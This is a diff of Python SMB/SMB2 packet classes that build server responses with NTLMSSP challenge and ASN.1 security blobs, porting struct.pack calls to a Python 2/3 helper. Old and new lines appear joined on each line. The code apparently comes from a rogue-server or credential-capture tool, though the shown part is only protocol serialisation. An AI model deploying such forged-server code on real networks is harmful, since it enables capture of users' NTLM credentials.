AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
@@ -1213,18 +1228,18 @@ class SMBSession1Data(Packet):
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"]) BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
###### SecBlobLen ###### SecBlobLen
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob)) self.fields["SecBlobLen"] = StructWithLenPython2or3("<h", len(AsnLen+CalculateSecBlob))
self.fields["Bcc"] = struct.pack("<h", len(BccLen)) self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccLen))
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3) self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-3)
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-6)
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob))
###### Andxoffset calculation. ###### Andxoffset calculation.
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32) self.fields["Andxoffset"] = StructWithLenPython2or3("<h", len(CalculateCompletePacket)+32)
###### Workstation Offset ###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
@@ -1233,21 +1248,21 @@ class SMBSession1Data(Packet):
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation: ##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation)) self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation: ##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation: ##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMBSession2Accept(Packet): class SMBSession2Accept(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1268,7 +1283,7 @@ class SMBSession2Accept(Packet):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le') self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le') self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"]) BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccLen)) self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccLen))
class SMBSessEmpty(Packet): class SMBSessEmpty(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1293,10 +1308,10 @@ class SMBTreeData(Packet):
## Complete Packet Len ## Complete Packet Len
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"]) CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
## AndXOffset ## AndXOffset
self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32) self.fields["Andxoffset"] = StructWithLenPython2or3("<H", len(CompletePacket)+32)
## BCC Len Calc ## BCC Len Calc
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"]) BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
self.fields["Bcc"] = struct.pack("<H", len(BccLen)) self.fields["Bcc"] = StructWithLenPython2or3("<H", len(BccLen))
class SMBSessTreeAns(Packet): class SMBSessTreeAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1325,12 +1340,12 @@ class SMBSessTreeAns(Packet):
def calculate(self): def calculate(self):
## AndxOffset ## AndxOffset
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"]) CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2] self.fields["AndXoffset"] = StructWithLenPython2or3("<i", len(CalculateCompletePacket)+32)[:2]
## BCC 1 and 2 ## BCC 1 and 2
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"]) CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"]) CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len)) self.fields["Bcc2"] = StructWithLenPython2or3("<h",len(CompleteBCC2Len))
### SMB2 Packets ### SMB2 Packets
@@ -1423,26 +1438,26 @@ class SMB2NegoAns(Packet):
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
#Packet Struct len #Packet Struct len
self.fields["Len"] = struct.pack("<h",len(StructLen)+1) self.fields["Len"] = StructWithLenPython2or3("<h",len(StructLen)+1)
#Sec Blob lens #Sec Blob lens
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64) self.fields["SecBlobOffSet"] = StructWithLenPython2or3("<h",len(StructLen)+64)
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen)) self.fields["SecBlobLen"] = StructWithLenPython2or3("<h",len(SecBlobLen))
#ASN Stuff #ASN Stuff
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2) self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(SecBlobLen)-2)
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"]))) self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2)) self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2) self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen)) self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2) self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"]))) self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"]))) self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"]))) self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"]))) self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"]))) self.fields["NegThisMech5ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech5ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len)) self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2) self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4) self.fields["NegHintTag0ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"]))) self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMB2Session1Data(Packet): class SMB2Session1Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1515,13 +1530,13 @@ class SMB2Session1Data(Packet):
def calculate(self): def calculate(self):
###### Convert strings to Unicode ###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
#Packet struct calc: #Packet struct calc:
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"]) StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
###### SecBlobLen Calc: ###### SecBlobLen Calc:
@@ -1529,41 +1544,40 @@ class SMB2Session1Data(Packet):
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
#Packet Struct len #Packet Struct len
self.fields["Len"] = struct.pack("<h",len(StructLen)+1) self.fields["Len"] = StructWithLenPython2or3("<h",len(StructLen)+1)
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob)) self.fields["SecBlobLen"] = StructWithLenPython2or3("<H", len(AsnLen+CalculateSecBlob))
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64) self.fields["SecBlobOffSet"] = StructWithLenPython2or3("<h",len(StructLen)+64)
###### ASN Stuff ###### ASN Stuff
if len(CalculateSecBlob) > 255: if len(CalculateSecBlob) > 255:
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob)) self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">H", len(CalculateSecBlob))
else: else:
self.fields["Tag3ASNIdLenOfLen"] = "\x81" self.fields["Tag3ASNIdLenOfLen"] = "\x81"
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob))
if len(AsnLen+CalculateSecBlob)-3 > 255: if len(AsnLen+CalculateSecBlob)-3 > 255:
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4) self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-4)
else: else:
self.fields["ChoiceTagASNLenOfLen"] = "\x81" self.fields["ChoiceTagASNLenOfLen"] = "\x81"
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3) self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-3)
if len(AsnLen+CalculateSecBlob)-7 > 255: if len(AsnLen+CalculateSecBlob)-7 > 255:
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8) self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-8)
else: else:
self.fields["NegTokenTagASNLenOfLen"] = "\x81" self.fields["NegTokenTagASNLenOfLen"] = "\x81"
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7) self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-7)
tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
if len(tag2length) > 255: if len(tag2length) > 255:
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length)) self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">H", len(tag2length))
else: else:
self.fields["Tag2ASNIdLenOfLen"] = "\x81" self.fields["Tag2ASNIdLenOfLen"] = "\x81"
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length)) self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(tag2length))
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"])))
###### Workstation Offset ###### Workstation Offset
